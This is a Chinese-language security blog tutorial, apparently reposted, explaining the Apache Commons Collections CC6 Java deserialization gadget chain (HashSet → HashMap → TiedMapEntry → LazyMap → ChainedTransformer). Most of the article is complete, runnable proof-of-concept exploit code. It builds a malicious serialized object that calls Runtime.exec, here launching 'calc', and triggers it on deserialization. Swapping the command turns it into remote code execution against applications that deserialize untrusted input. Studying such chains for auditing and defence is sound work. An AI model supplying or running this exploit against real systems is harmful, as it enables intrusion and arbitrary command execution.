java反序列化之-cc6链-手把手教你学代码审计与poc编写

admin 2026-03-31 11:58:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Java反序列化CC6链原理与POC编写,指出CC6基于CC3和CC5修改,利用TiedMapEntry的hashCode或toString方法调用getValue触发命令执行,结合HashSet反序列化自动调用put方法,通过反射修改HashMap内部table的key为恶意TiedMapEntry对象实现攻击,提供完整可执行代码与调用链说明。 综合评分: 87 文章分类: 代码审计,漏洞分析,漏洞POC,渗透测试,实战经验


cover_image

java反序列化之-cc6链-手把手教你学代码审计与poc编写

原创

三呼呼 三呼呼

古月安全

2026年3月24日 09:22 四川

CC6链

CC6其实就是在CC3(请看java反序列化之-cc3链-手把手教你学代码审计与poc编写)和CC5(java反序列化之-cc5链-手把手教你学代码审计与poc编写)的基础上修改的一条链,因为在这两条链中,都使用了TiedMapEntry这个类的getValue()方法来进行触发命令执行。其实在该类中,还有方法也调用了getValue()方法,所以属于是另外的延伸,并不是新的链。

比如:hashCode和toString方法都调用了getValue()方法。如下

接下来就是跟反序列化readObject结合起来使用:在CC1链中,调用hashMap的put方法,其实就会hashMap调用hash方法,然后调用hashCode()方法。所以需要这个hashMap的key是tiedMapEntry对象。

从而触发命令执行:代码如下:

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取Runtime类的Class对象Class<Runtime> runtimeClass = Runtime.class;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第一个InvokerTransformer,用于反射调用Runtime类的getMethod方法// 这个方法会获取Runtime类的getRuntime方法InvokerTransformer&nbsp;invokerTransformer&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"getMethod",&nbsp;// 要调用的方法名new&nbsp;Class[]{String.class, Class[].class},&nbsp;// 方法参数类型:字符串和Class数组new&nbsp;Object[]{"getRuntime",&nbsp;null}&nbsp;// 方法参数:获取getRuntime方法,无参数);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第二个InvokerTransformer,用于调用Method对象的invoke方法// 这个方法会实际执行getRuntime方法,返回Runtime实例InvokerTransformer&nbsp;invokerTransformer1&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"invoke",&nbsp;// 调用Method的invoke方法new&nbsp;Class[]{Object.class, Object[].class},&nbsp;// 参数类型:对象和Object数组new&nbsp;Object[]{null,&nbsp;null}&nbsp;// 参数:静态方法所以实例为null,无参数所以参数数组为null);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行转换:调用getRuntime方法获取Runtime实例Object&nbsp;runTime_get&nbsp;=&nbsp;invokerTransformer1.transform(transform_getRuntime);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第三个InvokerTransformer,用于调用Runtime实例的exec方法// 这个方法会执行系统命令InvokerTransformer&nbsp;invokerTransformer2&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"exec",&nbsp;// 调用Runtime的exec方法执行命令new&nbsp;Class[]{String.class},&nbsp;// 参数类型:字符串new&nbsp;Object[]{"calc"}&nbsp;// 要执行的命令(Windows系统));// 创建ConstantTransformer,始终返回Runtime.class&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 这是整个Transformer链的起点ConstantTransformer&nbsp;constantTransformer&nbsp;=&nbsp;new&nbsp;ConstantTransformer(Runtime.class);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建ChainedTransformer链,将多个Transformer连接起来按顺序执行// 执行顺序:Runtime.class → getMethod("getRuntime") → invoke() → exec("calc")ChainedTransformer&nbsp;chainedTransformer&nbsp;=&nbsp;new&nbsp;ChainedTransformer(new&nbsp;Transformer[]{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; constantTransformer, &nbsp; &nbsp; &nbsp;// 第一步:返回Runtime.classinvokerTransformer, &nbsp; &nbsp; &nbsp;&nbsp;// 第二步:获取getRuntime方法invokerTransformer1, &nbsp; &nbsp; &nbsp;// 第三步:调用getRuntime方法获取Runtime实例invokerTransformer2 &nbsp; &nbsp;&nbsp;// 第四步:执行命令});&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建HashMap和LazyMap装饰器HashMap<Object, Object> hashMap =&nbsp;new&nbsp;HashMap<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 使用LazyMap装饰HashMap,当访问不存在的key时会触发Transformer链Map&nbsp;lazeMap&nbsp;=&nbsp;LazyMap.decorate(hashMap, chainedTransformer);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 触发漏洞:访问不存在的key "a",LazyMap会调用Transformer链执行命令TiedMapEntry&nbsp;tiedMapEntry&nbsp;=&nbsp;new&nbsp;TiedMapEntry(lazeMap,&nbsp;"a");&nbsp; &nbsp; &nbsp; &nbsp; hashMap.put(tiedMapEntry,"a");

如图成功触发:

但是ProcessImpl不能序列化,因为Runtime执行之后是该对象,同CC1,这里需要通过反射的方式绕过这个限制。

需要一个帮我们调用put方法的类。那么在HashSet中存在这样的方法。通过反序列化调用put方法。只要这里的map==HashMap对象,e=我们的tiedMapEntry对象即可实现。

而e就等于s.readObject()输入流对象的反序列化对象,相当于只要这个s等于tiedMapEntry的序列化对象即可。

map也是一个hashMap,只需要创建一个该对象,并将对应的值传入即可。

现在来想办法实现这个过程就行了,这思路就清晰了,直接反射对这些东西赋值即可。

首先hashMap的key是tiedMapEntry对象。在hashMap中的key在Node中。

而这个Node是通过table属性保存的,因为不能通过put直接赋值,所以只能通过反射获取table属性从而修改key的值。这样就可以得到一个hashMap的key值是TiedMapEntry的对象了。然后反序列化的时候就会调用它的put方法。

POC代码实现

package&nbsp;CC6;import&nbsp;org.apache.commons.collections.Transformer;import&nbsp;org.apache.commons.collections.functors.ChainedTransformer;import&nbsp;org.apache.commons.collections.functors.ConstantTransformer;import&nbsp;org.apache.commons.collections.functors.InvokerTransformer;import&nbsp;org.apache.commons.collections.keyvalue.TiedMapEntry;import&nbsp;org.apache.commons.collections.map.LazyMap;import&nbsp;java.io.*;import&nbsp;java.lang.reflect.Field;import&nbsp;java.util.HashMap;import&nbsp;java.util.HashSet;import&nbsp;java.util.Map;public&nbsp;class&nbsp;CC6Exec&nbsp;{&nbsp; &nbsp;&nbsp;/**&nbsp; &nbsp; &nbsp;* 序列化对象到文件*&nbsp;@param&nbsp;object 要序列化的对象*/public&nbsp;static&nbsp;void&nbsp;serialize(Object object)&nbsp;throws&nbsp;IOException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileOutputStream&nbsp;fileOutputStream&nbsp;=&nbsp;new&nbsp;FileOutputStream("cc6.bin");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectOutputStream&nbsp;objectOutputStream&nbsp;=&nbsp;new&nbsp;ObjectOutputStream(fileOutputStream);&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeObject(object);&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.close();&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("序列化完成,恶意对象已保存到 cc6.bin");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;/**&nbsp; &nbsp; &nbsp;* 从文件反序列化对象并触发漏洞* 一般是服务端代码部分*/public&nbsp;static&nbsp;void&nbsp;deserialize()&nbsp;throws&nbsp;IOException, ClassNotFoundException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileInputStream&nbsp;fileInputStream&nbsp;=&nbsp;new&nbsp;FileInputStream("cc6.bin");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectInputStream&nbsp;objectInputStream&nbsp;=&nbsp;new&nbsp;ObjectInputStream(fileInputStream);&nbsp; &nbsp; &nbsp; &nbsp; objectInputStream.readObject();&nbsp;// 这里会触发漏洞执行objectInputStream.close();&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("反序列化完成");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ========== 第一步:构建恶意Transformer执行链 ==========&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取Runtime类的Class对象,用于后续反射调用Class<Runtime> runtimeClass = Runtime.class;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第一个InvokerTransformer:通过反射获取Runtime类的getMethod方法// 这个方法会获取Runtime类的getRuntime静态方法InvokerTransformer&nbsp;invokerTransformer&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"getMethod",&nbsp;// 要调用的方法名new&nbsp;Class[]{String.class, Class[].class},&nbsp;// 方法参数类型:字符串方法名和Class数组参数类型new&nbsp;Object[]{"getRuntime",&nbsp;null}&nbsp;// 方法参数:获取getRuntime方法,该方法无参数);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行转换:通过反射获取Runtime类的getRuntime方法(Method对象)Object&nbsp;transform_getRuntime&nbsp;=&nbsp;invokerTransformer.transform(runtimeClass);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第二个InvokerTransformer:调用Method对象的invoke方法// 这个方法会实际执行getRuntime方法,返回Runtime单例实例InvokerTransformer&nbsp;invokerTransformer1&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"invoke",&nbsp;// 调用Method的invoke方法new&nbsp;Class[]{Object.class, Object[].class},&nbsp;// 参数类型:调用对象和参数数组new&nbsp;Object[]{null,&nbsp;null}&nbsp;// 参数:因为是静态方法所以实例对象为null,无参数所以参数数组为null);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建第三个InvokerTransformer:调用Runtime实例的exec方法// 这个方法会执行系统命令(弹出计算器)InvokerTransformer&nbsp;invokerTransformer2&nbsp;=&nbsp;new&nbsp;InvokerTransformer(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"exec",&nbsp;// 调用Runtime的exec方法执行命令new&nbsp;Class[]{String.class},&nbsp;// 参数类型:字符串命令new&nbsp;Object[]{"calc"}&nbsp;// 要执行的命令(Windows计算器));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建ConstantTransformer:始终返回Runtime.class&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 这是整个Transformer链的起点,为后续反射调用提供目标类ConstantTransformer&nbsp;constantTransformer&nbsp;=&nbsp;new&nbsp;ConstantTransformer(Runtime.class);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建ChainedTransformer链:将多个Transformer连接起来按顺序执行// 执行链:Runtime.class → getMethod("getRuntime") → invoke() → exec("calc")ChainedTransformer&nbsp;chainedTransformer&nbsp;=&nbsp;new&nbsp;ChainedTransformer(new&nbsp;Transformer[]{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; constantTransformer, &nbsp; &nbsp; &nbsp;// 第一步:返回Runtime.classinvokerTransformer, &nbsp; &nbsp; &nbsp;&nbsp;// 第二步:获取getRuntime方法invokerTransformer1, &nbsp; &nbsp; &nbsp;// 第三步:调用getRuntime方法获取Runtime实例invokerTransformer2 &nbsp; &nbsp; &nbsp;&nbsp;// 第四步:执行calc命令弹出计算器});&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ========== 第二步:构建触发环境 ==========&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建HashMap和LazyMap装饰器HashMap<Object, Object> hashMap =&nbsp;new&nbsp;HashMap<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 使用LazyMap装饰HashMap:当访问不存在的key时会自动调用Transformer链Map&nbsp;lazyMap&nbsp;=&nbsp;LazyMap.decorate(hashMap, chainedTransformer);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建TiedMapEntry:将LazyMap与特定key绑定// 当调用TiedMapEntry的hashCode()方法时,会触发LazyMap.get()从而执行Transformer链TiedMapEntry&nbsp;tiedMapEntry&nbsp;=&nbsp;new&nbsp;TiedMapEntry(lazyMap,&nbsp;"a");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ========== 第三步:将恶意对象注入HashSet ==========&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建HashSet并添加一个初始元素"aa"HashSet<Object> hashSet =&nbsp;new&nbsp;HashSet<>(1);&nbsp; &nbsp; &nbsp; &nbsp; hashSet.add("aa");&nbsp;// add操作会调用map.put,向内部map添加key="aa", value=new Object()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 通过反射获取HashSet内部的HashMap对象Field&nbsp;mapField&nbsp;=&nbsp;hashSet.getClass().getDeclaredField("map");&nbsp; &nbsp; &nbsp; &nbsp; mapField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HashMap&nbsp;hashMapSet&nbsp;=&nbsp;(HashMap) mapField.get(hashSet);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取HashMap内部的table数组(存储键值对节点的数组)Field&nbsp;tableField&nbsp;=&nbsp;hashMapSet.getClass().getDeclaredField("table");&nbsp; &nbsp; &nbsp; &nbsp; tableField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; Object[] node = (Object[]) tableField.get(hashMapSet);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取table数组的第一个元素(即我们刚才添加的"aa"对应的节点)Object&nbsp;nodes&nbsp;=&nbsp;node[0];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 通过反射修改该节点的key为我们的恶意TiedMapEntry对象Field&nbsp;keyField&nbsp;=&nbsp;nodes.getClass().getDeclaredField("key");&nbsp; &nbsp; &nbsp; &nbsp; keyField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; keyField.set(nodes, tiedMapEntry);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ========== 第四步:序列化和反序列化触发漏洞 ==========&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 序列化恶意HashSet对象到文件serialize(hashSet);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 立即反序列化刚才序列化的对象,触发漏洞执行// 反序列化过程中,HashSet会重新计算hashCode,从而调用TiedMapEntry.hashCode()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 进而触发LazyMap.get(),最终执行Transformer链中的命令deserialize();&nbsp; &nbsp; }}

执行流程

HashSet.readObject()&nbsp;→ HashMap.put()&nbsp;→ TiedMapEntry.hashCode()&nbsp;→ TiedMapEntry.getValue()&nbsp;→ LazyMap.get()&nbsp;→ ChainedTransformer.transform()&nbsp;→ 反射调用Runtime.exec("calc")

总结

关键点说明:

  1. Transformer链构建
  2. :通过ChainedTransformer将多个反射调用串联,最终实现命令执行
  3. LazyMap机制
  4. :当访问不存在的key时自动调用Transformer
  5. TiedMapEntry作用
  6. :将Map的get操作与hashCode计算关联
  7. HashSet反序列化
  8. :在readObject时会重新计算所有元素的hashCode
  9. 反射修改
  10. :通过反射将正常元素替换为恶意TiedMapEntry对象

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:古月安全 三呼呼 三呼呼《java反序列化之-cc6链-手把手教你学代码审计与poc编写》

编程语言排行 网络安全文章

编程语言排行

文章总结: 该文档标题为编程语言排行,但正文缺乏实质性技术内容,主体为知树安全团队的公众号推广引流。文章通过列举免杀课程、爆破字典、逆向教程及CVE漏洞POC等
评论:0   参与:  0